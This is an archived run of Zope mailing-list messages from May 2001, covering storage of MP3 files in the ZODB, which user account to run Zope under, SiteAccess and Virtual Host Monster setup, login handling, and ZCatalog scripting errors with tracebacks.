02 May 2001 19:14:11 -0600 > To: zope@zope.org > Subject: Re: [Zope] Announce - Audio Product > > On 02 May 2001 15:07:29 -0400, marc lindahl wrote: >> Odd that noone has made a product for audio storage, analogous to Image, so >> I took a crack at it. > ... >> It's not CatalogAware, just as Image.... I figured you'd wrap it or whatever >> to do that, but I'm open to suggestions. > > > > How about a version based on ExtImage, for storing ithe big datafile > outside of the ZODB? > > :) > > /me thinks many, many people would be up for that version! > > Bill > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From itai@optusnet.com.au Thu May 3 02:37:20 2001 From: itai@optusnet.com.au (Itai Tavor) Date: Thu, 3 May 2001 11:37:20 +1000 Subject: [Zope] Run Zope under nobody or real user? In-Reply-To: References: Message-ID: Yeah, this is an advantage... in this case, I could just run it as myself. But isn't this a security risk? If anyone gets my password, they get full access to the server. If zope is running under user 'zope' who is not allowed to log in, you'd need to manage to become root to do any damage - which is the same as when zope is running under nobody. That's what I imagined people are doing - using a user who does not log in. marc lindahl wrote: >Then you can log on as that user, it makes upgrading via FPT and SSH/telnet >so easy! All the permissions are set correctly. > > > From: Itai Tavor >> Date: Thu, 3 May 2001 09:16:00 +1000 >> To: zope@zope.org >> Subject: [Zope] Run Zope under nobody or real user? > > >> Hi, >> >> Can anyone explain the advantages (if any) of running Zope under a >> real user instead of under nobody? >> > > TIA, Itai -- -- Itai Tavor -- "Je sautille, donc je suis." -- itai@optusnet.com.au -- - Kermit the Frog -- -- 'Supposing a tree fell down, Pooh, when we were underneath it?' -- -- 'Supposing it didn't,' said Pooh after careful thought. -- From jasonic@nomadicsltd.com Thu May 3 02:44:51 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Wed, 2 May 2001 21:44:51 -0400 Subject: [Zope] Run Zope under nobody or real user? References: Message-ID: <018b01c0d372$a5564200$c3090740@megapathdsl.net> > Can anyone explain the advantages (if any) of running Zope under a > real user instead of under nobody? A really great How-to which discusses hand-on the why and wherefor of root vs. user vs. nobody Zope is: http://www.zope.org/Members/mcdonc/HowTos/HowTos/zopeinstall/ZOPE-INSTALL-HO WTO It made me want to do a fresh install __properly__ as described.[thanks] - Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From andym@ActiveState.com Thu May 3 02:47:44 2001 From: andym@ActiveState.com (Andy McKay) Date: Wed, 2 May 2001 18:47:44 -0700 Subject: [Zope] Announce - Audio Product References: Message-ID: <004401c0d373$0e2f3b10$ae03a8c0@activestate.com> Somehow keeping large static files in the ZODB just doesnt seem to gel for me. I know it fits the lots of reads / few writes model, put somehow making my Data.fs bloat on account of mp3's seems wrong. I would (in fact do http://www.agmweb.ca/agmweb/dna/dan) put my mp3's on the file system through LocalFS. Makes my ZODB much smaller and happier. Plus I have them on the file system for other uses (like listening to them), Cheers. -- Andy McKay. ----- Original Message ----- From: "marc lindahl" To: "Bill Anderson" ; Sent: Wednesday, May 02, 2001 6:35 PM Subject: Re: [Zope] Announce - Audio Product > Well, someone would have to convince me that's a good idea. So far, I think > ZODB is the place to keep 'em. > > Of course, it's open source, someone could adapt it to ExtFile or LocalFS... > > > From: Bill Anderson > > Date: 02 May 2001 19:14:11 -0600 > > To: zope@zope.org > > Subject: Re: [Zope] Announce - Audio Product > > > > On 02 May 2001 15:07:29 -0400, marc lindahl wrote: > >> Odd that noone has made a product for audio storage, analogous to Image, so > >> I took a crack at it. > > ... > >> It's not CatalogAware, just as Image.... I figured you'd wrap it or whatever > >> to do that, but I'm open to suggestions. > > > > > > > > How about a version based on ExtImage, for storing ithe big datafile > > outside of the ZODB? > > > > :) > > > > /me thinks many, many people would be up for that version! > > > > Bill > > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From marc@bowery.com Thu May 3 02:48:29 2001 From: marc@bowery.com (marc lindahl) Date: Wed, 02 May 2001 21:48:29 -0400 Subject: [Zope] Run Zope under nobody or real user? In-Reply-To: Message-ID: Well, what I did was, make a user zope, who's home directory is /usr/local/zope, then put zope there. Made the user zope have the same security as the user 'nobody', except allowed logins. 'Nobody' can't do much, neither could 'zope' in this way. Using proftpd, and SSH, you can limit the login, for example, to only certain IP addresses, which would limit the exposure. Or, you could run those services on a wierd port number, and so on. Typical security stuff, should be worked in with overall security scheme. > From: Itai Tavor > > Yeah, this is an advantage... in this case, I could just run it as > myself. But isn't this a security risk? If anyone gets my password, > they get full access to the server. If zope is running under user > 'zope' who is not allowed to log in, you'd need to manage to become > root to do any damage - which is the same as when zope is running > under nobody. > > That's what I imagined people are doing - using a user who does not log in. > > marc lindahl wrote: From marc@bowery.com Thu May 3 02:53:21 2001 From: marc@bowery.com (marc lindahl) Date: Wed, 02 May 2001 21:53:21 -0400 Subject: [Zope] Announce - Audio Product In-Reply-To: <004401c0d373$0e2f3b10$ae03a8c0@activestate.com> Message-ID: I don't see how a smaller ZODB is a happier ZODB.... ? Keeping them in ZODB makes your site alot easier to back up! And, they take up basically the same amount of disk space on the FS or in the ZODB. If you use BTreeFolders, you could store 1000's of them in one folder (if that makes sense for you)... depending on your file system, that might be a problem on the FS. > From: "Andy McKay" > Date: Wed, 2 May 2001 18:47:44 -0700 > To: "marc lindahl" , "Bill Anderson" , > > Subject: Re: [Zope] Announce - Audio Product > > Somehow keeping large static files in the ZODB just doesnt seem to gel for > me. > > I know it fits the lots of reads / few writes model, put somehow making my > Data.fs bloat on account of mp3's seems wrong. I would (in fact do > http://www.agmweb.ca/agmweb/dna/dan) put my mp3's on the file system through > LocalFS. Makes my ZODB much smaller and happier. > > Plus I have them on the file system for other uses (like listening to them), > > Cheers. > -- > Andy McKay. From andym@ActiveState.com Thu May 3 03:13:13 2001 From: andym@ActiveState.com (Andy McKay) Date: Wed, 2 May 2001 19:13:13 -0700 Subject: [Zope] Announce - Audio Product References: Message-ID: <007e01c0d376$9b455db0$ae03a8c0@activestate.com> > I don't see how a smaller ZODB is a happier ZODB.... ? Smaller = faster to start / stop. Although a lot of that is based on getting an index for each object. I've hit the 2gb limit a few times, so I try to be careful. We'll just agree to disagree on the rest. Also we are looking at different usage for Zope, mine is more flexible and personal use. Cheers. -- Andy McKay. From itai@optusnet.com.au Thu May 3 03:27:09 2001 From: itai@optusnet.com.au (Itai Tavor) Date: Thu, 3 May 2001 12:27:09 +1000 Subject: [Zope] Run Zope under nobody or real user? In-Reply-To: <018b01c0d372$a5564200$c3090740@megapathdsl.net> References: <018b01c0d372$a5564200$c3090740@megapathdsl.net> Message-ID: Jason Cunliffe wrote: > > Can anyone explain the advantages (if any) of running Zope under a >> real user instead of under nobody? > >A really great How-to which discusses hand-on the why and wherefor of root >vs. user vs. nobody Zope is: > >http://www.zope.org/Members/mcdonc/HowTos/HowTos/zopeinstall/ZOPE-INSTALL-HO >WTO > >It made me want to do a fresh install __properly__ as described.[thanks] > >- Jason Thanks! The setup suggested in the howto does seem very good, think I'll adopt it. -- -- Itai Tavor -- "Je sautille, donc je suis." -- itai@optusnet.com.au -- - Kermit the Frog -- -- 'Supposing a tree fell down, Pooh, when we were underneath it?' -- -- 'Supposing it didn't,' said Pooh after careful thought. -- From jasonic@nomadicsltd.com Thu May 3 03:53:33 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Wed, 2 May 2001 22:53:33 -0400 Subject: [Zope] Out of the Box = ZopeApplianceWorld Message-ID: <02b701c0d37c$3e6e5f00$c3090740@megapathdsl.net> Hello I am very interesting in gathering info on Web Appliances, and any network savvy devices which could play well with Zope. One example: SitePlayer http://www.siteplayer.com/ SitePlayer, the World's smallest Ethernet web server. The first product in a family of embedded web servers designed to enable any microprocessor-based device to become web enabled easily and inexpensively. In approximately one square inch, SitePlayer includes a web server, 10baseT Ethernet controller, flash web page memory, graphical object processor, and a serial device interface. SitePlayer developer kit is $99.95. SitePlayer modules are : $49.95 in 1-9 QTY, $19.95 in 100000-999,999 QTY Includes software licensing fees. For high volume or surface mount applications, SitePlayer chip sets are available. Going further, If there is interest I will set up a collborative Zope site for posting news, reviews, brainstorming, & pursing scenarios and how-to using embedded devices, media i/o, Zope design strategy for creative in- and out-of-the-box Zope-based applications. - Set-Top [Embedded] Box Zope - Webphone Zope - Embedded Zope - Zope for Transport - Medical Zope - Zope for Artists - Zope Web Mapping - Zope for Schools - Urban Zope - Bodega Zope - Zope for Restaurants - ZopeCams - LargeScreenZope - Zope at the Airport[Train/Bus/FerryStation] - etc Instead of getting bogged down answering the question "What is Zope?", I suggest "What can people do with Zope?". I am particularly interested in public and community applications, including art and media related. There is so much great Zope development work taking place, but the broader context of web applications, why/how seems to have lost some spark. Wher do we go from here..? I natturally want to play to Zope strengths: free, cross-platform, TTW, openSource, etc. Discussing ideas will also bring out where Zope is lacking or ill-suited. ..interested? - JASON ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From bill@libc.org Thu May 3 03:44:46 2001 From: bill@libc.org (Bill Anderson) Date: 02 May 2001 20:44:46 -0600 Subject: [Zope] Announce - Audio Product In-Reply-To: Message-ID: On 02 May 2001 21:35:00 -0400, marc lindahl wrote: > Well, someone would have to convince me that's a good idea. So far, I think > ZODB is the place to keep 'em. o Well, consider the effect on the ZODB. o Some people are still (dare i say many?) running on a system that has a 2Gb limit on filesize. o A large ZODB _can_ cause problems when you need it back it up, or restore it o Consider the problems involved with a large ZODB when starting up and shutting down I have an N-Class HPUX beastie that has a 362+MB ZODb, it refuses to pack, and takes a while to start up. Memory is not an issue, believe me, I have several gigs of that untouched yet. yet it still takes an unacceptable amountof time to strart up. o Consider the problem of someone uploading a diferent (perhaps improved mp3) file. Now, until you pack past this change, you have _two_ copies of the data. Actually, I believe that even if only some metadata is changed, you get another copy. This. Gets. Ugly. Fast. o Consider the ZSP that would much rather have the data stored in the FS where they can keep better track of it (and use quotas perhaps) o Consider the possibility of having the file sitting on the OS's file system, available for outbound-ftp through non-zope means, or local system use (for. those who would use it on their local machine as an MP3 organizer) or for an audio-streamer program, such as icecast or shoutcast, to stream them out Just some things to consider. ;^)~ Bill From jasonic@nomadicsltd.com Thu May 3 04:02:12 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Wed, 2 May 2001 23:02:12 -0400 Subject: [Zope] SiteAccess and broken manage links References: <000901c0d2d7$fbfc6e40$c3090740@megapathdsl.net> <00da01c0d31f$ce9ff410$2a01000a@evansys> <006901c0d343$57021e00$c3090740@megapathdsl.net> <01bc01c0d34a$591ac0a0$2a01000a@evansys> Message-ID: <031001c0d37d$73845900$c3090740@megapathdsl.net> From: "Evan Simpson" > > SiteRoot is currently set: > > base = http://www.mysite.com/zope > > path = / > > This should be: > base = http://www.mysite.com > path = /zope aahh YES! bingo ---> thanks very much++ > > If I use Virtual Host Monster do I still need SiteRoot? > > No, if you set up a VHM, you should first remove the SiteRoot. They > serve the same purpose, but VHM is more flexible. OK will do.. :-) cheers ./JASON ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From marc@bowery.com Thu May 3 04:13:01 2001 From: marc@bowery.com (marc lindahl) Date: Wed, 02 May 2001 23:13:01 -0400 Subject: [Zope] Announce - Audio Product In-Reply-To: Message-ID: This is a very necessary discussion, methinks... there's been bits of threads, but I don't think enough. > From: Bill Anderson > > o Some people are still (dare i say many?) running on a system that has > a 2Gb limit on filesize. OK, they can try this: http://www.zope.org/Members/hathawsh/PartitionedFileStorage > > o A large ZODB _can_ cause problems when you need it back it up, or > restore it how, more than a large bunch of files in a directory tree? Either way, typical backup software splits for CD burning, multiple tapes, etc. > > o Consider the problems involved with a large ZODB when starting up and > shutting down > I have an N-Class HPUX beastie that has a 362+MB ZODb, it refuses to > pack, and takes a while to start up. What do you mean, it refuses to pack? It gives an error or something? > Memory is not an issue, believe me, I have several gigs of that > untouched yet. yet it still takes an unacceptable > amountof time to strart up. Several gigs of RAM? Cool! Maybe someone from DC can detail what goes on at startup that might take alot of time. I guess, this is important for a desktop machine, that you turn on every day -- for a server that's always on, no big deal, right? > o Consider the problem of someone uploading a diferent (perhaps improved > mp3) file. Now, until you pack past this change, > you have _two_ copies of the data. Actually, I believe that even if > only some metadata is changed, you get another copy. > This. Gets. Ugly. Fast. Actually, this could be a good thing. What if the 'improved' version is broken somehow? Or the meta data was in error? 'Undo'! Also, importantly, version control! If you're talking about a site like MP3.COM where you have lots of people uploading their own stuff, then you might have a problem with packing, with mp3's, images, other stuff. What to do about it? A couple of ideas come to mind: pack often, like every day, or use the packless database and forgo the feature, or ...? I'm aiming at uploading of audio as something with a little more control (like a review process), so having 1000 versions of the same file unpacked isn't an issue, and the versioning is important. > > o Consider the ZSP that would much rather have the data stored in the FS > where they can keep better track of it (and > use quotas perhaps) If they're in linux, they could quota the data.fs, no difference there... I don't know that they should be monitoring your files in either case, should they? > > o Consider the possibility of having the file sitting on the OS's file > system, available for outbound-ftp through > non-zope means, or local system use (for. those who would use it on > their local machine as an MP3 organizer) > or for an audio-streamer program, such as icecast or shoutcast, to > stream them out These are the important use cases I see for external storage. Though, as far as icecast goes, someone should beat that code into a Product, it would be great to have streaming built in to zope! From andym@ActiveState.com Thu May 3 04:26:37 2001 From: andym@ActiveState.com (Andy McKay) Date: Wed, 2 May 2001 20:26:37 -0700 Subject: [Zope] Announce - Audio Product References: Message-ID: <000501c0d380$dcd93170$ae03a8c0@activestate.com> > > Memory is not an issue, believe me, I have several gigs of that > > untouched yet. yet it still takes an unacceptable > > amountof time to strart up. > > Several gigs of RAM? Cool! Maybe someone from DC can detail what goes on > at startup that might take alot of time. When you start a ZODB up, an index is built of every object inside the ZODB so it that can call it again later, effectively it reads through the entire DB. This also removes any corrupted or broken objects on the ZODB. This is directly related then to the number of objects and hence size. When this starts getting signifcant depends on many factors. Ive had 1 gig db's and found them a pain to work with from this point of view. But Ive never had a corrupted database I couldnt get into. That is good. Shane Hathaways Refresh product really helped there though :) Cheers. -- Andy McKay. From marc@bowery.com Thu May 3 04:31:51 2001 From: marc@bowery.com (marc lindahl) Date: Wed, 02 May 2001 23:31:51 -0400 Subject: [Zope] Announce - Audio Product In-Reply-To: <000501c0d380$dcd93170$ae03a8c0@activestate.com> Message-ID: BTW, there's a product called RadioFreePete that has stuff to scan your disk for MP3s, make playlists, and control icecast... From jasonic@nomadicsltd.com Thu May 3 06:40:15 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Thu, 3 May 2001 01:40:15 -0400 Subject: [Zope] Virtual HostMonster article References: <000901c0d2d7$fbfc6e40$c3090740@megapathdsl.net> <00da01c0d31f$ce9ff410$2a01000a@evansys> <006901c0d343$57021e00$c3090740@megapathdsl.net> <01bc01c0d34a$591ac0a0$2a01000a@evansys> <031001c0d37d$73845900$c3090740@megapathdsl.net> Message-ID: <036701c0d393$886138a0$c3090740@megapathdsl.net> FYI: After an educational but mysterious search for information about Virtual Host Monster, I just came across this very practical article: http://twsite.bizland.com/twzop0015.htm Would anyone care to comment on the advice given? [..good bad ugly brilliant .. ymmv??] ./Jason From jwm@plain.co.nz Thu May 3 06:36:13 2001 From: jwm@plain.co.nz (John Morton) Date: Thu, 3 May 2001 17:36:13 +1200 Subject: [Zope] TUX and Zope? + ab results In-Reply-To: <20010503010124.21782.qmail@web4605.mail.yahoo.com> References: <20010503010124.21782.qmail@web4605.mail.yahoo.com> Message-ID: <01050317361300.08725@antares> On Thursday 03 May 2001 13:01, Jason Byron wrote: > This may sound silly, but do you think it would be > feasably to get some more speed out of Zope by > combining it with TUX (the linux kernel based web > server) ? Maybe build the python interpreter into > it ? TUX is a linux only thing ATM, so any integration of the two would have to be some sort of add on to a vanila zope. > TUX 2898.55 Requests per second > AOLserver 603.14 Requests per second > Apache 502.51 Requests per second > Zope 60.57 Requests per second There are important reasons why the figures are so different. In the case of TUX, the kernel server tries to do as little work as possible to translate a request into data flying out the NIC. Zope, on the other h= and, at the very least checks to see if the requester has permisson to access = that object, and often looks after other things like acquisition, setting cach= ing=20 headers and obviously executing content generating code. The easiest way for Zope to take advantage of TUX would be to have a TUX = based caching reverse proxy sit in front of the Zope server. All of the images = and=20 other static content window dressing for the site which will always be se= rved=20 up to everybody can have cache TTLs set so they quickly end up in the pro= xy,=20 which can serve them up as fast as they can go. If you still want to crank more speed out of zope, the next thing to do w= ould=20 be to profile the steps needed to serve up requests for static content wh= ere=20 having a permission system matters, and look into optimizing that. John From malcolm.box@symbian.com Thu May 3 06:50:11 2001 From: malcolm.box@symbian.com (Malcolm Box) Date: Thu, 03 May 2001 14:50:11 +0900 Subject: [Zope] Making users work References: Message-ID: <3AF0F193.55F4EF9F@symbian.com> This is a multi-part message in MIME format. --------------AC13910733BB72F11FA8568A Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="us-ascii" Jens, Thanks for the pointer to the userfolders. I have already looked at these, but my questions is perhaps a level higher (or my understanding a level lower). Given a userfolder installed, I don't see how to link up my site to it, so that only posting is restricted and the authentication is via a webform rather than the default HTTP authentication. Any pointers/DTML-snippets in those areas welcome. Regards, Malcolm Jens Vagelpohl wrote: > malcolm, > > there are user folders that can talk to windoze, you might want to look at > this product: > > http://www.zope.org/Members/jephte/jcNTUserFolder > > ...or use the User management download section to browse all available user > folder combinations at: > > http://www.zope.org/Products/user_management > > jens > > On 5/2/01 1:43, "Malcolm Box" wrote: > > > Hi all, > > > > As a Zope newbie (sorry!), I'm deeply confused by how to make users work > > the way I want. > > > > The site I am developing is an "ideas" site, where people can vote on > > ideas and post new ideas. What I want to achieve is that everyone can > > access the content or vote anonymously, but to post they have to log > > in. As this is an intranet site, the WinNT domain controller already > > has a list of every possible user and a password, so I want to use this > > to authenticate who people are, and I certainly don't want to have to > > create and maintain a Zope user for each and every person in the > > organization! > > > > When people try to post without logging in, I want to send them to a > > page explaining the login requirements and giving them a login form, > > rather than popping up a http authenticate dialog. > > > > To say that I have no clue how to go about this is an understatement. I > > think there are three parts to this - one is the login form, the other > > is setting the right permissions on the posting form and the third is > > accessing the NT user database. I've looked at LoginManager, acl_users > > and various howtos, but I can't work out how to put it all together, > > despite my feeling that it's all there somewhere :-) > > > > So could anyone outline how to go about this - pointers to dtml source, > > howtos etc gratefully received. > > > > Cheers, > > > > Malcolm > > > > -- > > > > > > > > ********************************************************************** > > Symbian Ltd is a company registered in England and Wales with registered > > number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, > > UK. > > This message is intended only for use by the named addressee and may contain > > privileged and/or confidential information. If you are not the named addressee > > you should not disseminate, copy or take any action in reliance on it. If you > > have received this message in error please notify postmaster@symbian.com and > > delete the message and any attachments accompanying it immediately. Symbian > > does not accept liability for any corruption, interception, amendment, > > tampering or viruses occurring to this message in transit or for any message > > sent by its employees which is not in compliance with Symbian corporate > > policy. > > ********************************************************************** > > -- --------------AC13910733BB72F11FA8568A Content-Transfer-Encoding: 7bit Content-Type: text/x-vcard; charset=us-ascii; name="malcolm.box.vcf" Content-Description: Card for Malcolm Box Content-Disposition: attachment; filename="malcolm.box.vcf" begin:vcard n:Box;Malcolm tel;fax:+81 3 5425 2572 tel;work:+81 3 5425 2954 x-mozilla-html:FALSE url:http://www.symbian.com org:Symbian KK;Research version:2.1 email;internet:malcolm.box@symbian.com title:Head of Research, Japan adr;quoted-printable:;;Shimbashi Sumitomo Bldg. 11F=0D=0A5-11-3 Shimbashi=0D=0AMinato-ku;Tokyo;;105-0004;Japan fn:Malcolm Box end:vcard --------------AC13910733BB72F11FA8568A-- From kedai@kedai.com.my Thu May 3 06:52:44 2001 From: kedai@kedai.com.my (bak (kedai)) Date: Thu, 3 May 2001 13:52:44 +0800 Subject: [Zope] RFC - newbie with a zope product In-Reply-To: <01050209305600.09321@russell> References: <01050209305600.09321@russell> Message-ID: <01050313524401.00747@tokey> On Wednesday 02 May 2001 23:30, Russell Keppner wrote: > > > Your product has started me in the right direction, but I wonder if you > could answer a question for me. I created the User Friendly sample (and > named the object "userFriendly") and the display method (named "show"), and > everything worked as expected. But if I call userFriendly from another DTML > method with , it just returns something like > . Is there a way to call KebasData objects > from DTML methods? I would like to be able to use multiple KebasData > objects on the same page. > > Thanks. > Russell Keppner > thanks for trying out my not soo functional product :) to get the KebasData object, just do a i haven't yet found a better way to do this. p/s - i've uploaded another version of KebasData that'll check for object freshness(trivial check, really). From dirksen_lau@yahoo.com Thu May 3 07:34:50 2001 From: dirksen_lau@yahoo.com (Dirksen) Date: Wed, 2 May 2001 23:34:50 -0700 (PDT) Subject: [Zope] CookieCrumbler Questions Message-ID: <20010503063450.19401.qmail@web5103.mail.yahoo.com> Hi Shane, 1. You mentioned a security hole in the list, but I couldn't find the description of it. Would you explain? 2. 'this product depends on a new publisher traversal hook', but I still don't get it after reading your code in CMFCore. What's the hook? 3. I'd like to plug away the Crumbler class from CMF, and stick it to my own product. What should I keep in mind? Cheers Dirksen Lau __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From dirksen_lau@yahoo.com Thu May 3 07:34:50 2001 From: dirksen_lau@yahoo.com (Dirksen) Date: Wed, 2 May 2001 23:34:50 -0700 (PDT) Subject: [Zope] CookieCrumbler Questions Message-ID: <20010503063450.19401.qmail@web5103.mail.yahoo.com> Hi Shane, 1. You mentioned a security hole in the list, but I couldn't find the description of it. Would you explain? 2. 'this product depends on a new publisher traversal hook', but I still don't get it after reading your code in CMFCore. What's the hook? 3. I'd like to plug away the Crumbler class from CMF, and stick it to my own product. What should I keep in mind? Cheers Dirksen Lau __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From alet@unice.fr Thu May 3 07:38:00 2001 From: alet@unice.fr (Jerome Alet) Date: Thu, 3 May 2001 08:38:00 +0200 (MET DST) Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface In-Reply-To: <15088.19756.684962.566778@lindm.dm> Message-ID: On Wed, 2 May 2001, Dieter Maurer wrote: > Jerome Alet writes: > > Another thing I'd be glad to use would be MoveUp and MoveTo buttons: > Never wanted to have that: > > I open two browser windows, showing source and destination. > I select and copy/cut in the source, move to destination > and click "paste". Your solution is still very "clicky": you must first open a new window and click and click and click until you've reached the destination folder, which may eventually be far far away from the current one, before clicking again on Paste. A MoveTo dialog box (or form) would be better and quicker IMHO. bye, Jerome Alet From hofmann@isl.org Thu May 3 07:47:45 2001 From: hofmann@isl.org (Kai Hofmann) Date: Thu, 3 May 2001 08:47:45 +0200 Subject: [Zope] dtml-in and objectValues() In-Reply-To: <15088.19196.564748.380111@lindm.dm> References: <232707557@toto.iv> Message-ID: <3AF11B11.21636.3053F89E@localhost> Dear Dieter, > > now I wanted to do something like > >=20 > > > You may use "ZopeFind". >=20 > It provides much more control over with objects are returned > then "objectValues". Documentation via "ZQR" (Zope Quick Reference). Thanks for the hint, but I have to add another requirement - I need to so= rt the=20 result of dtml-in/ZopeFind by a date attribute ... I think I have an idea how to do it with dtml-in, but I have no idea how = to do it with ZopeFind .... Greetings Kai --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From bobby@dialognet.com Thu May 3 08:05:46 2001 From: bobby@dialognet.com (Bobby Mathew) Date: Thu, 3 May 2001 12:35:46 +0530 Subject: [Zope] Re: Catalog Anything Problem References: Message-ID: <006101c0d39f$7a3aab60$1e01a8c0@dialognet.com> Hi Ron / Casey, Thanks for your support, I have made those changes as you guys suggested. Firstly i created a new catalog called prods under /learn/search/ and did nothing further secondly i kept the zsql method outside under the path /learn/search/ called it getProdtoCatalog() it has this code... SELECT prodid as Number, Title, Descr || ' ' || Title as PrincipiaSearchSource, 'Product' as meta_type, prodid as id, Descr as summary FROM products now i went within /learn/search/prods and put catalogProducts (python script) with this code for Product in container.getProdtoCatalog(): container.catalog_object(Product, '/learn/search/prods/'+ Product.Number +'/proddetails.html') print 'Product #' + Product.Number return printed The moment i test this it gives me this error Zope Error Zope has encountered an error while publishing this resource. Error Type: AttributeError Error Value: Number ---------------------------------------------------------------------------- ---- Troubleshooting Suggestions The URL may be incorrect. The parameters passed to this resource may be incorrect. A resource that this resource relies on may be encountering an error. For more detailed information about the error, please refer to the HTML source for this page. If the error persists please contact the site maintainer. Thank you for your patience. Traceback (innermost last): File /home/bobby/Zope-2.3/lib/python/ZPublisher/Publish.py, line 222, in publish_module File /home/bobby/Zope-2.3/lib/python/ZPublisher/Publish.py, line 187, in publish File /home/bobby/Zope-2.3/lib/python/Zope/__init__.py, line 221, in zpublisher_exception_hook (Object: Traversable) File /home/bobby/Zope-2.3/lib/python/ZPublisher/Publish.py, line 171, in publish File /home/bobby/Zope-2.3/lib/python/ZPublisher/mapply.py, line 160, in mapply (Object: catalogProducts) File /home/bobby/Zope-2.3/lib/python/ZPublisher/Publish.py, line 112, in call_object (Object: catalogProducts) File /home/bobby/Zope-2.3/lib/python/Shared/DC/Scripts/Bindings.py, line 324, in __call__ (Object: catalogProducts) File /home/bobby/Zope-2.3/lib/python/Shared/DC/Scripts/Bindings.py, line 353, in _bindAndExec (Object: catalogProducts) File /home/bobby/Zope-2.3/lib/python/Products/PythonScripts/PythonScript.py, line 330, in _exec (Object: catalogProducts) (Info: ({'script': , 'context': , 'container': , 'traverse_subpath': []}, (), {}, None)) File Script (Python), line 4, in catalogProducts (Object: NoBrains) File /home/bobby/Zope-2.3/lib/python/Products/PythonScripts/Guarded.py, line 273, in __getattr__ File /home/bobby/Zope-2.3/lib/python/Products/PythonScripts/Guarded.py, line 143, in __careful_getattr__ (Object: NoBrains) AttributeError: (see above) Any clues why ? I am baffled !!! I can see Number in the zsql method and the case seems to be ok - what am i missing out ? bobby ----- Original Message ----- From: Ron Bickers To: Bobby Mathew Cc: Sent: Wednesday, May 02, 2001 9:29 PM Subject: RE: Catalog Anything Problem > > > -----Original Message----- > > From: Bobby Mathew [mailto:bobby@dialognet.com] > > Sent: Wednesday, May 02, 2001 2:08 AM > > To: rbickers@logicetc.com > > Cc: zope@zope.org > > Subject: Catalog Anything Problem > > > > > Since i am a newbie i was not sure what you meant in the > > cataloganything doc when you said... > > ============= > > Setting Up the Catalog ... > > I meant exactly what you did, set up the catalog as you would for any type > of search. > > > postgres. So i just didnt do anything further. I have a products > > table in the postgres rdbms that i want to search by title and > > description. So after this i created a zsql method called > > getProdtoCatalog under the ZCatalog itself - the query i used is > > > Now i went into the Find Objects section and searched for the > > getProdtoCatalog zsql method and added to the catalog > > As mentioned by Casey, this is not necessary. In fact, you want these *not* > in the catalog. > > > Next i went and created the python script (again under the > > Products ZCatalog itself) and i called it catalogProducts this is > > the code inside > > for book in container.getProdToCatalog(): > > container.catalog_object(Product, > > '/learn/search/Products/'+Product.Number+'/proddetails.html') > > print 'Product #' + Product.Number > > return printed > > Your first parameter to catalog_object is 'Product', but there is no such > object. It should probably read: > > for Product in container.getProdToCatalog(): > > This, BTW, pointed me to the same mistake in the catalogArticles() Python > script of my HowTo, which I just fixed. > > Also, is it getProdToCatalog or getProdtoCatalog? Case is important and > this may be why you're getting the exception. > > _______________________ > > Ron Bickers > Logic Etc, Inc. > rbickers@logicetc.com > From maxmcorp@worldonline.dk Thu May 3 08:11:53 2001 From: maxmcorp@worldonline.dk (Max M) Date: Thu, 3 May 2001 09:11:53 +0200 Subject: [Zope] Zope 2.3.1 Catalog is there a bad bug in this? Message-ID: > From: chrism@sylvanoffice.com [mailto:chrism@sylvanoffice.com]On Behalf > Of Chris McDonough > I don't know what version you upgraded to, but doing an "Update Catalog" > on the Advanced tab should rid your Catalog of this problem. The state > in older catalogs is an unknown, and doing this puts all the moons in > the right order. I tried that, but then I get the below error: Error Type: TypeError Error Value: not enough arguments; expected 2, got 1> Traceback (innermost last): File /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/ZPublisher/Publish.py, line 223, in publish_module File /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/ZPublisher/Publish.py, line 187, in publish File /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/Zope/__init__.py, line 221, in zpublisher_exception_hook (Object: Traversable) File /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/ZPublisher/Publish.py, line 171, in publish File /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/ZPublisher/mapply.py, line 160, in mapply (Object: manage_catalogReindex) File /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/ZPublisher/Publish.py, line 112, in call_object (Object: manage_catalogReindex) File /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/Products/ZCatalog/ZCatalog. py, line 325, in manage_catalogReindex (Object: Traversable) File /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/Products/ZCatalog/ZCatalog. py, line 429, in catalog_object (Object: Traversable) File /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/Products/ZCatalog/Catalog.p y, line 448, in catalogObject File /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/SearchIndex/UnTextIndex.py, line 323, in index_object TypeError: (see above) Max M. W. Rasmussen, Denmark. New Media Director private: maxmcorp@worldonline.dk work: 